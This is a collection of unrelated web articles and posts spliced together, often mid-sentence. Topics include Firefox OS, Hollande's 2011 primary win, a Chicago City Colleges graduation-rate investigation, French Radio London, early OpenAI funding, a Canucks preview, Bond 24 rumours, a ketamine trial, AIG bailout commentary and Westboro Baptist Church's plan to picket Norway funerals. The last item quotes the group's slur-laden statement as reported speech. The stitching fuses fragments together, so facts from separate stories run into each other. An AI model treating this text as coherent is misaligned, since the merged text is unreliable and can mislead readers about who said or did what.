HotSpot Media 14 A month after they started messaging, CJ proposed to Angela over Skype
Just a month after they started messaging in February 2015 |
development platform for mobile apps, as the technical gap between native and Web apps narrows,” said Brendan Eich, Mozilla CTO and SVP Engineering. “We listen to what developers are asking for to make the Web their primary development platform and think Mozilla and its partners have made significant progress with these new hardware, tools, and WebAPIs. It’ll be exciting to see what new mobile innovations come in 2014.”
The company states how developers have always been the key to driving innovation around the Web, and continue to enable it as a platform for app development and distribution. According to Vision Mobile, developer interest for Firefox OS continues to grow, capturing 7% of developer mindshare in just six months. The report also highlighted that during Q1 2014, 52% of developers were already using HTML5 for mobile websites or Web apps with an additional 16% indicating their intention to join them.MILLINOCKET (WGME) – A man,, just got that ID in the mail.
He's also getting a lot of attention around the world.
CBS 13 spoke with Phelan MoonSong earlier this month.
He says he wears horns on his head as part of practicing paganism.
He says he spent part of the summer fighting to get a state ID with his horns, until the Portland BMV agreed to take the picture.
MoonSong says he got his ID last week, and the next day, he also got a reply from the Maine ACLU, saying they didn't have time or resources to help him with his case.
Since our story aired, MoonSong says he's been contacted by media outlets from Russia, U.K. and Ireland.
He's also featured in Sunday's Washington Post.Man nicknamed Mr Normal beats Martine Aubry in first primary elections to be held in France
France's opposition socialists last night selected François Hollande to challenge Nicolas Sarkozy in next year's presidential elections.
The 57-year-old father of four, nicknamed Monsieur Normal, beat his rival, the party secretary Martine Aubry in the second round of the first ever primary elections to be held in France.
After he was selected Hollande said he was "aware of the heavy and serious job ahead" in his quest to become the next president of the French Republic.
"It is with pride and responsibility that I note this evening's result," he told supporters at the Socialist party headquarters. He said he hoped to fulfil the dreams of "young people who hope for a better life than ours".
"This is the French dream I want to revive," he said.
Hollande pledged to reverse Sarkozy-era cuts in school funding and defend "equality and progress" at a time when many voters in France and around the world are angry over economic troubles and the sway that financial markets hold over politics.
With 2.2 million votes counted after last night's run-off voting the Socialist party said Hollande a large majority with 56% of the votes compared with 44% for Aubry. The party estimates that more than 2.7 million people voted.
In his first speech, Hollande extended an olive branch to his rivals in the primary elections, most of whom rallied behind him for the second round vote, and to Aubry, whom he defeated.
"I am a man of unity and I have shown this," he said.
After conceding defeat as the initial results gave Hollande victory, Aubry said she "warmly congratulated" her rival. "Tonight he is our candidate for the presidential elections," she said.
"Since I became head of the Socialist party I have had but one objective, that one of us would be elected May 6, 2012. Tonight Hollande is our candidate.
"The primaries have given him even more legitimacy. I will put all my energy and all my force so that in seven months time he is our president of the Republic."
Hollande had polled nine percentage points ahead of Aubry last Sunday in the first round of the presidential elections, but as the vote was open to all voters on the electoral role prepared to pay €1 euro to the Socialist Party and sign a declaration of left.
Hollande's girlfriend journalist Valérie Trierweiler announced on Twitter: "To my journalist and photographer friends. Give me time. Time to understand and learn. But I'll learn fast."
Ségolène Royal, Hollande's former partner and mother of his four children as well as the Socialist Party's unsuccessful candidate for the 2007 presidential election whichi Sarkozy won, also congratulated him. "The first step towards the presidential election has succeeded and it is a great success. The success of the people's participation and the success of our candidate François Hollande who has clearly come first. Now is the time for union and unity."
Benoit Hamon, Socialist Party spokesman said he was a little sad that Aubry had lost. "Martine Aubry who I like very much will not be the Socialist candidate". Bertrand Delanoe, the mayor of Paris, expressed similar regret but hailed Hollande as a "man of the left, a modern man".
Arnaud Montebourg, one of the six candidates in the Socialist Party primaries, who was the surprise third man in the first round of voting last Sunday had announced his support for Hollande. "We have gained a definitive leader," he said.
Sarkozy's allies urged Hollande to come out with clearer positions on the main issues that concern the French. Valerie Rosso-Debord of Sarkozy's UMP party dismissed the Socialist Party's jobs proposals and spending plans as "unrealistic and costly."
"The French should know that none of this will stand up, and at the end, they will have to pay the bill," she said last night.
Early this year, most polls showed that the Socialists' best hope for toppling Sarkozy was Dominique Strauss-Kahn, who led the International Monetary Fund until he was jailed in May in the United States on charges he tried to rape a New York hotel maid.
Prosecutors later dropped the case, but Strauss-Kahn's reputation and presidential ambitions crashed.Posted by Stuart Langridge on Thursday, June 26, 2014 in Design, Open Source, Shows, Technology |
The whole team return (remarkably) to speak, weirdly, only about things beginning with the letter F. Bryan Lunduke, Jono Bacon, Jeremy Garcia, and Stuart Langridge present Bad Voltage, with the following “F-ing” things:
Fire Phone: Amazon release a phone, and we decide whether it’s exciting or execrable
Firefox OS: the Mozilla project’s phone OS, reviewed by Stuart and discussed by everybody
Freshmeat: the late-90s web store of software for Linux has finally closed its doors. Reminiscence, combined with some thoughts on how and why the world has moved on
Fedora Project Leader: Matthew Miller, the newly-appointed leader of the Fedora Linux project, speaks about the direction that distribution is planning, working with large communities, and whether his job should be decided by a Thunderdome-style trial by combat
err… our Fabulous community: we catch up with what’s going on
Discuss this show in the community!A Southwest Side City Colleges campus artificially doubled its graduation rate by awarding nearly 300 diplomas to aspiring electricians as part of an unapproved program loaded with ineligible students, records show.
A scathing 246-page confidential report from City College’s inspector general, John Gasiorowski, recommended an immediate halt to the troubled apprenticeship program at Richard J. Daley College, which he charged was also used as the basis to seek hundreds of thousands of dollars in state tuition reimbursements for courses offered for free.
The report was delivered to City Colleges administrators in February, but there is no evidence the program has slowed in any way since then.
The report, never released to the public in full, was obtained by the Better Government Association.
Other internal documents obtained by the BGA revealed the official Daley graduation rate typically reported to federal authorities stands at 26 percent for 2017, a number greatly inflated by graduates of the apprenticeship program. Without counting them, the official graduation rate at the school would plunge to 12 percent.
GRAPHIC GOES HERE
It is yet another example of how the City Colleges of Chicago administration under Mayor Rahm Emanuel has manipulated rules to create an illusion of meteoric success at the seven-campus system of taxpayer-funded community colleges.
Emanuel has frequently boasted of that success in appearances around the nation, portraying reforms he championed at City Colleges as a remarkable turnaround.
A recent BGA investigation revealed that turnaround hinges largely on watered-down curriculums, statistical sleight of hand and thousands of degree awards to current and former students who never requested them. City Colleges called the BGA report “unfortunate” and said it created a false impression.
But in his report on Daley College, Gasiorowski condemned actions that appear a microcosm of the BGA findings. His review of an apprenticeship program at the school for electricians concluded that certificates awarded through the program were invalid.
Gasiorowski described changes to the program under the Emanuel administration as “a shoddily designed effort to siphon credit-hour reimbursement and to a lesser extent academic completions, from the instruction.”
In his report, Gasiorowski condemned a total lack of oversight, “wholly inadequate” record keeping and a striking disregard for state and federal regulation of academic programs.
Many of the problems appeared to stem from a public-private partnership in which City Colleges sought to piggyback on a decades-old, well-regarded apprenticeship program operated by industry labor unions, the International Brotherhood of Electrical Workers (IBEW) and the National Electrical Contractors Association (NECA).
Neither City Colleges Chancellor Juan Salgado nor Emanuel would agree to an interview about Gasiorowski’s findings.
Salgado, however, did issue a written statement in response to BGA questions in which he acknowledged “significant failures” and made clear the problems predated his tenure as chancellor. Salgado replaced Cheryl Hyman, who resigned last year following a faculty vote of no confidence in her leadership.
“The argument that working with IBEW is simply to improve graduation rates or revenue is narrow-minded and wrong,” Salgado said in his written response. “While those interests may have existed among some college administrators in the past, it is not my perspective as Chancellor.”
Salgado said Jose Aybar, the Daley College president responsible for the certificate program, resigned and the system’s board plans to consider a revamp of the apprenticeship program in December.
Salgado replaced Hyman, who beginning in 2010 presided over a controversial overhaul of the entire college system dubbed Reinvention. Under Reinvention, the seven campuses were transformed into quasi magnet schools with a specific academic focus aimed toward building a vocational work force. Tuition was hiked significantly, and enrollment steadily declined to a 25-year low this year.
But even as the student population was falling, the volume of credentials being awarded soared. Under Hyman, curriculum requirements were reduced for most associate degrees, hundreds of students were steered into easier programs, and administrators began scouring student data looking for current and former students who might qualify for degrees retroactively.
The resulting boom in degree awards was seized on by Emanuel, who boasted frequently in public appearances across the nation that under him degree completions and graduation rates had jumped dramatically.
Helping build those numbers was a significant change to a journeyman electrician program offered by the IBEW-NECA Technical Institute. In operation for more than a century, the full-time apprenticeship program includes a combination of classroom instruction and on-the-job apprenticeship training.
In 2003, the program began offering students associate degrees through a public-private partnership with Daley College. That iteration never took off because students were also required to take several general education courses unrelated to their trade.
But at the same time pressure was growing to improve numbers under Reinvention. Daley College in 2013 began awarding IBEW students basic and advanced certificates that did not require any additional classes.
That same year, City Colleges authorized the school to confer those certificates automatically, meaning IBEW students would get an award for completion of the program whether they wanted it or not.
Through 2016, records show, 290 IBEW students had received basic and advanced certificates that count toward Daley College’s graduation rates.
Salgado acknowledged the significant effect the IBEW certificates had on the graduation rate in his written responses to the BGA.
“The IBEW degrees and certificates did contribute to the Daley College graduation rate,” he said, “though it has still increased (from 8 percent in FY09 to 12% in FY17), excluding IBEW credentials.”
What Salgado didn’t mention in his response is that IBEW credentials accounted for more than half of all the Daley graduates in the 2017 graduation rate. Daley College’s official graduation rate, including IBEW credentials, was 25.9 percent in 2017, internal records show.
Gasiorowski questioned the validity of all the IBEW related certificates, concluding the curriculum for the programs lacked proper approval from City Colleges’ board.
Gasiorowski’s investigation also found shoddy record keeping pervaded the program, that curriculum was changed without the required state approval and that Daley College exerted no control over who was teaching the IBEW courses.
“Daley College exerts absolutely no supervision or evaluation over the IBEW programs instructors,” the report states. “This further demonstrates that Daley College issues basic and advanced certificates to students in the IBEW programs whose education the college played essentially no role in.”
“They can earn basic and advanced certificates without ever setting foot on the…campuses,” he concluded.
>> Letter from City Colleges' Chancellor Salgado following this investigation's publication
The report also found that the sloppy record keeping led to students credited with taking courses they did not take, missing grades, and a “lack of direct and continuous control over the IBEW program and the numerous problematic enrollment and record-keeping issues.”
Gasiorowski’s team detailed how dozens of students were allowed to remain in classes despite being disqualified because of unpaid debts or academic suspension.
“The OIG found that during the period of the Summer 2014 term through the Spring 2016 term, at least 60 students participated in the IBEW program while not officially enrolled in the City Colleges of Chicago,” the report states.
Perhaps the most striking finding by the IG centered on the inappropriate state tuition reimbursements.
Michael Mutz, a former City Colleges vice chancellor, flatly called the program a fraud in a Nov. 11 email to Salgado which Mutz also copied to the BGA.
In the email, Mutz claimed that he had personally blown the whistle “on the IBEW fiasco and the fraudulent and protracted activities” at Daley College and questioned whether he was laid off last summer in retaliation.
Mutz declined to be interviewed for this report. He is married to Mara Georges, the top city lawyer under former Mayor Richard Daley who launched the Reinvention program near the end of his tenure at City Hall.
In his report, Gasiorowski raised questions about why City Colleges for years applied for state grants to which it was not entitled because IBEW students were not charged tuition for the courses.
“There is a great risk that the City Colleges of Chicago wrongfully claims credit-hour reimbursement for IBEW programs,” the report concludes.
In all, the IG report documents that college administrators filed for state grants from the program totaling 41,547.5 credit hours between 2012 and 2016. City Colleges acknowledged receiving $631,516 in tuition reimbursements from the state for the apprenticeship program that it has yet to refund.
“City Colleges is not claiming reimbursement for this program in the future,” Salgado said in his written responses. “City Colleges is in discussions with ICCB regarding past reimbursements.”
The Gasiorowski investigation also found that Daley College was filing inappropriately for federal Title IV tuition aid on behalf of students who don’t pay tuition.
“Despite the fact the IBEW students are not charged tuition and the IBEW program is not eligible for the Title IV funds, there were instances where the City Colleges of Chicago awarded students Title IV grant money to cover the students’ tuition,” the report said. “Likewise, the City Colleges of Chicago received Illinois grant money to cover students’ tuition that was never owed in the first place.”
“Moreover, the failure to charge these students tuition even led to the perverse result in which CCC paid some IBEW students who dropped out of IBEW-NECA Technical Institute courses the amount that their CCC tuition would have been if they paid that tuition in the first place,” the report says.
Aybar, the former Daley College president who presided over the controversial changes, could not be reached for comment.
But in an interview with IG investigators, Aybar said he was unaware that City Colleges was filing for ineligible tuition grants and defended the changes to the program as a way to improve official graduation rates.
Aybar told investigators that the large number of IBEW program students were “essentially deadweight” to Daley’s completion numbers prior to creation of the certificate program under Reinvention.
John Donahue, the director of the IBEW-NECA Technical Institute, took issue with that assessment.
“I can understand Dr. Aybar’s frustration with his graduation rates, unfortunately his choice of words was disrespectful to our students,” he said. “Our program has value and creates jobs, and our students graduate as journeymen electricians whether or not they have a certificate or a degree from Daley College.”Deep in La Vallée des Grenouilles, the idea of a new local radio station is causing much excitement. But this is no remote gorge in La France profonde. La Vallée des Grenouilles – the Valley of the Frogs – is Le Monde's nickname for South Kensington, epicentre of Britain's Francophone population. And the "local" radio station is French Radio London, which launches on Wednesday.
The station will be aimed predominantly at the estimated 400,000 French people living in the capital, which is known as France's "fifth city". It will offer press reviews of British and French newspapers, news from London and from correspondents in Paris, and a "heavy dose of nostalgic music" to give listeners a "sense of being home". There is a self-imposed French music quota of 80 per cent.
Pascal Grierson, CEO of French Radio London, hopes to have 50,000 listeners by the end of year one, increasing to 110,000-120,000 listeners by year three – audience projections that he believes are "extremely conservative".
We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.
He is convinced there is a "hefty appetite" for the station among Francophones, who he expects to make up the majority of listeners, and the numerous Francophiles living in London.
He said London appeals to the French because it is open-minded and less cliquey than "codified" Paris. "You're not judged on what you wear, it's just a much more relaxed atmosphere," he said. "The French are very good at taking the piss out of others, but not so good at doing so to themselves, and by hanging out with British people they learn a lot about self-deprecation, which can be an endearing quality."
Patricia Connell, 49, owner of the website, France in London, moved to London at 20, married an Englishman and brought up her children in the capital. She agrees there is a sense of freedom in London that you cannot find in France, where, she says, "you are judged by how skinny you are, what you wear, what you look like, the university you went to and the area in which you live."
She said: "Once you become a Londoner it's difficult to go back. Londoners are a very different breed: more open, more friendly, less judgemental. There is a real buzz here you often don't find in Paris, it really attracts younger people who end up staying."
Edouard Braine, consul general at the French embassy in London, said the UK is considered by many of his compatriots as "the best gateway towards the global world, just across the Channel," leading to a growing number of French people living in London.
The French community in South Kensington is centred on the Lycée Français Charles de Gaulle, and as the French community has been growing, so has the number of students, from under 3,000 in 2000 to 3,750 last year. In 2012, the Collège Français Bilingue North London, in Kentish Town, will open offering 750 places to help cope with demand.
The high street is scattered with boulangeries and patisseries, a branch of Parisian florist Monceau Fleurs and French bookshops, complete with the traditional squared Clairefontaine notebooks used by French students in class.
Mrs Connell, who lives in Notting Hill, said the area is a "little Paris" but "brings in all the best of Britishness to the area." But she said it was inevitable that families in the area often socialise together. "Mothers meet French mothers through having kids in the lycée," she said. "But I also know many families who are fully integrated." According to the French embassy, there are 120,000 French people registered in the UK – 110,000 in London and 10,000 in Edinburgh. The vast majority of people, estimated to be three quarters, do not register and it is believed that some 400,000 mainly young people are living across the capital.
For those happiest creating a Cockney-tinted Paris, websites such as Chanteroy online and French Click sell such gastronomic comforts such Camembert, saucisson sec and Béarnaise sauce. And just as Anglophones can find English-language services in Paris, the equivalent is available in London, from French vets who will talk to sick pets in their native tongue, to a French dentist who travels in from Paris for a few days each month to treat Francophones in the British capital, advertising through the magazine Ici Londres.
Alain Gales, 45, who moved to London from Clermont-Ferrand in the Massif Central in 1987 and is a presenter on French Radio London, believes it's a mistake to move to London and "recreate a French experience in England".
"It's mostly young people who cross the Channel and there's a certain boredom with where you grew up," he said. "I was like a boy in a toy shop, there was a gig every night, I could improve my English and I started working for French magazines. London is changing all the time, and it's easy to feel you're at the centre of what's happening."
We’ll tell you what’s true. You can form your own view.
At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.
Subscribe nowIn addition to sharing its research with the world, OpenAI is also concerned with the ramifications of the emerging technology, "it's hard to fathom how much human-level AI could benefit society, and it's equally hard to imagine how much it could damage society if built or used incorrectly," it states on its site.
Altman told Medium's Backchannel, "we think the best way AI can develop is if it's about individual empowerment and making humans better."
The initiative's team will include researcher and machine learning expert Ilya Sutskever and former Stripe CTO, Greg Brockman. It will be co-chaired by Elon Musk and Sam Altman with donations from Musk, Altman, Peter Thiel, Reid Hoffman, Livingston and others totaling $1 billion. Just don't expect super-smart computers or robots anytime soon. The research is expected to take decades according to Altman.
Musk, while cautious, does believe in the power of AI for the masses, "I think the best defense against the misuse of AI is to empower as many people as possible to have AI. If everyone has AI powers, then there's not any one person or a small set of individuals who can have AI superpower."
[Image credit: Getty/AFP]by
Ask yourself the following question right now: which of these two fears fear of failure or fear of success – is holding me back the most?
Most people will say its the fear of failure that holds them back, and I think thats a bunch of baloney. Id be willing to bet that more than anything, its your fear of success thats holding you back.
Let me explain.
If youre like most everyone else, there is an element of fear that holds you back from doing anything and everything you want. Whether you want to start a business, train for a marathon, or take an improv class and you have yet to do it, its because youre afraid of something.
I think that something you are afraid of is that youre actually going to be successful.
According to LiveStrong.com, fear of success consists of the following things:
Fear that you will accomplish everything youve set out to do, but you still wont be happy, content or satisfied
The belief that you are undeserving of all the recognition and praise that will come your way as a result of your accomplishment(s)
The belief that when you do achieve success the first time, you will not have the ability to sustain it, so youre simply setting yourself up for a massive letdown
Any of these things sound familiar? I know each and everyone one of the above points could have my name written next to them!
Not that Im trying to dimmish the fear of failure (well, I guess am), but its rooted in the idea that were not good enough. I know Im taking a giant leap here, but I think that each of us knows ourselves well enough to know that when push comes to shove, we are good enough, smart enough, and capable enough to accomplish what we set out to do.
It might not be easy, but with a little bit of blood, sweat, tears, and ingenuity, we wont fail.
This alone is enough to rule out the fear of failure, mostly because, when it comes down to it, failure doesnt exist.
Success on the other hand, now thats a completely different beast. What if I find success and Im unfulfilled? Do I truly deserve the success? What if Im successful but I cant maintain it? These are tough questions, which usually lead to analysis paralysis, meaning we get so bogged down wondering about the what-ifs that we simply end up doing nothing.
So, how do you get over your fear of success? I recommend the following things:
Learn how to smell the roses and enjoy your small successes. If you can learn how to be satisfied with the little things, just imagine how happy youll be once you accomplish something big. Realize that people are going to want to pat you on the back for your accomplishments, and they wouldnt compliment you if you didnt truly earn it or deserve it. Even if you dont continuously achieve 100% success, by trying youve accomplished more than 95% of the people out there (ok, I know this is a little too on the youre a unique snowflake side, but it really is true).
Now you have no reason to not go out there and accomplish everything you want, so get moving!Roberto Luongo has a sad. Cory Schneider gets the nod again, tonight.
Remember when there was mass panic following a shootout loss to the Los Angeles Kings on January 28th? Sure the Canucks were 2-2-2, but more important they had failed to play a well-rounded 60 minute game. It’s safe to say that things have changed a little bit since then.
The Canucks have won 4 games in a row, and are set to add much-needed reinforcements in the form of David Booth and Ryan Kesler in the coming days. As if there isn’t already enough reason for excitement, let me give you one more: they’re hosting the Calgary Flames in the third of 3 Hockey Day in Canada games today.
Read Past the Jump for More on the Game.
Broadcast Info:
Puck Drop: 7 PM PST
Television: CBC
Radio: Team 1040
Setup:
Last time these two teams went up against each other, on January 23rd, the Canucks were looking for their first win on the season. On that night, we saw Zack Kassian really step up into the forefront as the caddy for the Sedins, as he logged over 19 minutes, scored a goal, made his presence known in front of the net, and ultimately won it with a beautiful move in the shootout. As you may have noticed, he has replaced by Burrows in the past two games. Expect things to stay this way given the results.
Taking care of business in this tilt is important for the Canucks; they are just starting a four-game home stretch with some very winable games in front of them, before hitting the road for a tough jaunt through the Central division.
For me personally, it’ll be weird seeing the Canucks go up against the Flames without Miikka Kiprusoff trying to thwart the good guys’ attempts. But believe it or not, a 37-year old who has been ridden for years upon years is out with an injury. While it’s not as serious as was first believed (a 1st degree MCL sprain), the entire situation was a perfect example of how dysfunctional the Calgary Flames are as an organization. Their plan B is Leland Irving; the same goalie who couldn’t find the ice for the Abbotsford Heat during the lockout, despite being completely healthy. As for their plan C? Well, they didn’t even have a third goalie under contract until the Kiprusoff injury happened. Fun stuff.
Thus far the Flames have actually been able to get their second line working with the new additions of Jiri Hudler and Roman Cervenka gelling well together. And obviously their first line featuring Jarome Iginla and (one of the most underappreciated players of this era) Alex Tanguay is quite dangerous. But after that, there are some names on the roster that make you snicker, satisfyingly, beccause they are after all the Flames. It certainly doesn’t help their causes that their strongest possession player in Mikael Backlund and their best tire-flipper (Michael Cammalleri) are now out.
What stands out immediately about the Flames is that they are 4th in the league in shots on goal/game (32.0), and are giving up the third fewest amount. Their goalies just flat out have not been able to stop the pucks that have been shot at them. I can recall last Saturday night’s game against the Blackhawks, when they threw everything but the kitchen sink at Ray Emery, with only 2 goals and 1 point (in the form of a shootout loss) to show for their troubles.
You’ll note that I didn’t really touch on the news that Cory Schneider was getting to the call to start this game. Why? Because there’s nothing to be said about it. He had a strong effort in Minnesota, and the Canucks have made it clear that they’ll ride the guy that’s playing well. Luongo will be back in if/when Schneider stumbles. Until then, enjoy the pucks that are being stopped.
Finally, if anyone out there is good with cameras and knows someone who would be willing to invest in the filming of a short documentary, please let me know. I won’t stop until ‘Feast or Famine: The Jay Feaster Story’ is unleashed on the masses.
Numbers Game:
Game Day Links:But let's not get ahead of ourselves. No other cast members have been announced for Bond 24 as yet, but
Filming for the 24th James Bond film is officially set to begin on December 6th (originally it was due before the cameras one month earlier), with Daniel Craig, Ralph Fiennes, Ben Whishaw, Naomie Harris and Rory Kinnear returning as James Bond, M, Q, Eve Moneypenny and Tanner. Skyfall director Sam Mendes is back behind the camera for his second Bond movie, and the man who wrote the 50th Anniversary adventure, John Logan, has prepared the screenplay for Bond 24.This will be Daniel Craig's fourth outing as 007, and he's already signed up for a fifth. With John Logan also announced to be scripting Bond 25.Oscar nominee Chiwetel Ejiofor has been linked to the role of the main villain for several months, and he is apparently Mendes' first choice for the part. Expect an official announcement on that very soon. Bond's antagonist is thought to be the head of an " old evil organization ", which could be the return of S.P.E.C.T.R.E. I really like this idea, it seemed like they were going this way for Casino Royale and Quantum of Solace, and then the end of Skyfall nicely paid tribute to those early Bond adventures, so it's quite a reasonable suggestion.Several other names have been rumoured to be linked to the movie, but that's all the seem to be - rumours! Amongst them is Game of Thrones Hafþór Júlíus Björnsson, AKA The Mountain. Thought to be a henchman character similar to Jaws (and what a nice tribute to the recently departed Richard Kiel that would be), he's certainly built for the part.When it comes to the Bond girls, a whole host of actresses have been linked to the film. Apparently Bond 24 will feature a "Scandinavian-born blonde" and a "British Bond girl". Both Blake Lively and Amber Heard were rumored to have screen tested several months back, but recently their names have fallen away from the project. More recently Penelope Cruz and Downton Abbey star Joanne Froggatt have both linked with Bond girl roles. In August Schmoes Know claimed that Blue is the Warmest Color actress Lea Seydoux is on the short list for a role that could be double agent Miranda Frost, previously portrayed by Rosamund Pike in Die Another Day.It is thought that overseas location filming will take place in Austria, Morocco and Rome - with the latter being the backdrop for an epic car chase.In August The Sun quoted an MGM source as supposedly saying that Sam Smith is the "top choice" to record the next James Bond theme song. Smith quickly denied it, but then so did Adele in regard to Skyfall when she was revealed to be secretly recording the title track.Whatever the title ends up being, Bond 24 will be released in the UK on October 23rd 2015, and in the US on November 6th 2015. We'll be there, will you?Brief Summary:
Depression carries the largest burden of all medical disorders in middle to high income countries, as determined by the World Health Organization. Despite many antidepressant strategies, only a third of patients get well after their first treatment and a third remain ill after several treatments. Moreover, antidepressant treatments all have a delayed action ranging up to several weeks.
Ketamine (KET) has been used for decades as a sedative and anesthetic. In treatment-resistant depressed patients(TRD), an intravenous dose much lower than necessary for anesthesia may produce a robust antidepressant effect and may even abolish suicidal thoughts within hours, peaking within 24 hours. But, its antidepressant effect generally lasts only days.Previous studies examining KET in TRD have been critiqued for lack of an effective placebo measure due to brief perceptual experiences associated with KET. Thus, the current study compares KET against a short-acting sedative. The phases of this study compare response to a single KET injection to 6 injections over 2 weeks. Next, KET responders are given 1 injection a week for 3 weeks of either KET or the sedative agent to determine if beneficial effects of KET are maintained, and to assess duration of its benefits after repeated administration. The genetic profile of patients for a substance promoting contacts between cells and brain will be determined to investigate if response to KET could be predicted with that blood test. This substance, as well as several chemicals that produce inflammation, will also be measured in the blood to investigate their role in the effect of KET. Patients will receive, in total, no more than the equivalent of two to three anesthetic dose of KET. Results from this study will help establish the beneficial effects of a single KET injection as a rapid intervention for major depression, and to investigate the possibility of obtaining a prolonged antidepressant effect with repeated injections.Let’s take it from the top, Comrades. One of our newest bands is Tightwire from Minneapolis. Their debut album, Six Feet Deep, just came out and they already have shows booked with Dillinger Four and Teenage Bottlerocket. You’ve heard that song “MmmBop”? Well, this is DOOM POP. We really loved this shit from the very first listen and there’s a good story on how they ended up on Red Scare and another funny write-up from RiotFest.org about their first video. Their songs are like 55 seconds long, so it’s not gonna cut into your Farmville time or anything. Go listen to them now, goddammit.
Up next is new music from a Red Scare icon. The bell cow and the belle of the ball. The glistening lodestar that guides the flagship. You know him, you love him… it’s Brendan Kelly and the Wandering Birds! We know y’all enjoyed his last pervy record, and now we have 10 new tunes on this latest LP, Keep Walkin’ Pal. The music mavens at Vice/Noisey premiered the first song and you can consume it via all digital outlets on October 26th. The “street date” for the CDs and LPs will be BLACK FRIDAY, because that shit’s funny. Last but not least, Beex will be playing a buncha solo shows all over the land in support of this new full length, so check the tour dates and bring some bail money just in case.
We have one more bit of good news to share and one more new project for ya: We’re real happy to welcome Ramona to the Red Scare family! The trio is kinda from Seattle and are now based in Philly? It’s complicated, but hey, have you looked at rent prices in Seattle? NO THANKS. What we know for sure is that Abby, Diego, and Shannon are all funny as shit and their wild punk songs have got them on shows with Dead To Me, The Lawrence Arms, and The Menzingers. Champions of inclusion and unapologetic allies, they’re one of those bands |
Corp. terminated CDS transactions with its counterparties and concurrently, ML III purchased the underlying multi-sector CDOs, including $8.5 billion of multi-sector CDOs underlying 2a-7 Puts written by AIG Financial Products Corp. The NY Fed advanced an aggregate of $24.3 billion to ML III under the ML III Senior Loan, and ML III funded its purchase of the $62.1 billion of multi-sector CDOs with a net payment to AIG Financial Products Corp. counterparties of $26.8 billion. AIG Financial Products Corp.’s counterparties also retained $35.0 billion, of which $2.5 billion was returned under the shortfall agreement, in net collateral previously posted by AIG Financial Products Corp. in respect of the terminated multi-sector CDS.
Your tax dollars at work. The $63.1bn notional amount of CDSs still on the books? AIG won’t even estimate losses there, or the amount of additional collateral that might be required.
The Securities Lending Program. The second disaster is called the Securities Lending Program. AIG pledged securities owned by its insurance company subsidiaries in exchange for cash, agreeing to pay interest. It used the cash to buy residential mortgage-backed securities (RMBS), which paid higher returns than the rate AIG was paying for the cash. At the end of August, 2008, the lenders wanted their money back, about $69bn, but the RMBS couldn’t be sold for enough to pay off the debt. That was a problem.
The solution? Maiden Lane II. This entity bought the RMBS portfolio of $39.3bn. ML II got a loan from the Fed of $19.5bn, and paid $19.8bn to the insurance companies. I can’t figure out how much this cost the insurance companies. Let’s hope it wasn’t enough to impair their capital structures.
How stupid is this? A big part of AIG’s CDS portfolio insures protection buyers against failure of mortgage backed securities. Another part of AIG goes out and buys a bunch of mortgage backed securities. Competent management might have thought of hedging against losses in both portfolios. AIG apparently believed the shouters at CNBC and the cheerleaders on Wall Street who said housing could never lose value. They doubled up on the RMBS.
Why are these people still employed?José Luis Mendilibar was presented this last Wednesday, July 1st, as the new coach of SD Eibar. Accompanied by the president of the club, Alex Aranzabal, and their sports director, Fran Garagarza. The manager, born in Zaldivar (Vizcaya), was happy and excited for this new challenge.
"The club is doing things well. Eibar is a great opportunity for me and I'm really looking forward to doing it right", the manager assured in the press room of the Municipal de Ipuraua stadium. "We have to work hard and we hope to build a competitive team which will excite everyone", he emphasized.
Return to where he caressed a dream
The magical atmosphere in Ipurua is not unknown to Mendilibar. A decade earlier, in the 2004-05 season, the 54 year-old manager coached the Armerian team in the Liga Adelante and almost grasped the promotion. That mythical Eibar, which included figures like Gorka Iraizoz and Joseba Llorente, ended the season in fourth position with 73 points.
"That season was an important step for me, the year ended well and from there on in I initiated a new phase. We were so close to promotion, although we knew it was complicated. Now I’m ten years older and experience provides the power to manage the squads." Now, ten years later, Mendilibar will take on the challenge of again thrilling the fans of the Basque squad.The Westboro Baptist Church, a radical religious group from Kansas, announced in a press release that it intends to picket the funerals of the victims of the Norway massacre. "Norway must repent or perish," the document reads. "WBC will picket at the funerals of the Norway dead to warn the living: they died for your sins."
The Topeka-based church was founded in 1955 by Fred Phelps, and believes "the modern militant homosexual movement" poses "a clear and present danger to the survival of America, exposing our nation to the wrath of God as in in 1898 B.C. at Sodom and Gomorrah." The organization became notoriously famous in 1998, when members of the group demonstrated at the funeral of Matthew Shepard, who was tortured and murdered because he was gay. Since 2005, the group has also targeted funerals of American troops killed in Afghanistan and Iraq, arguing that the soldiers' death are a "righteous" punishment against an evil nation. According to the church's website, the organization has staged 46,228 demonstrations since June 1991.
On the attacks in Norway the group writes: "Norway made being a fag legal in 1972 and passed laws for fags to marry and adopt children in 2008. Did you think God would wink at that in-your-face sin forever. No! He sent the killer to slaughter 75+ of your children and citizens... God formed [Anders Behring Breivik] and appointed him to punish Norway."
According to the website Views And News From Norway, Steve Drain, a spokesperson for the Westboro Baptists, confirmed to Norwegian Broadcasting that the church was indeed planning to travel to Norway. “Yes, we are coming at some point,” Drain reportedly said, although the spokesman was unsure when church members would travel to the Nordic state.An eclipse from almost space. Mike Kentrianakis/Used with Permission
With over 2,300,000 views on YouTube alone, the video below, of a solar eclipse recorded from Alaska Airlines Flight 870 in 2016 is easily one of the most popular recordings of an eclipse in history. Between the absolutely otherworldly view of the moon’s shadow, which parts the clouds like it’s the end of the world, or the giddy, beaming, voice-cracking narration of the unseen man behind the camera, it’s a contender for greatest eclipse video of all time. Here’s how it came together.
The man who can be heard screaming “TOTALITY!” and “PROMINENCES!” in the recording is the amateur astronomer Mike Kentrianakis, a longtime eclipse chaser. In 2016, a colleague told him that a commercial flight from Anchorage to Honolulu might pass right through the shadow of a solar eclipse, which immediately intrigued Kentrianakis. “I’d never seen one from a plane before,” says Kentrianakis.
In 2016, a total solar eclipse took place on March 9, but you can forgive yourself for not noticing: on land, it was only visible from a handful of the islands of Southeast Asia. The majority of the path of totality was in the middle of the Pacific Ocean. Not ideal for eclipse watchers.
About a year before it was scheduled to occur, Kentrianakis’s friend Joe Rao, himself a meteorologist and umbraphile, figured out that there was an Alaska Airlines flight leaving Anchorage on its way to Honolulu that would come very close to the eclipse’s path of totality over the Pacific. They just had to convince the airline to change the departure time of the flight.
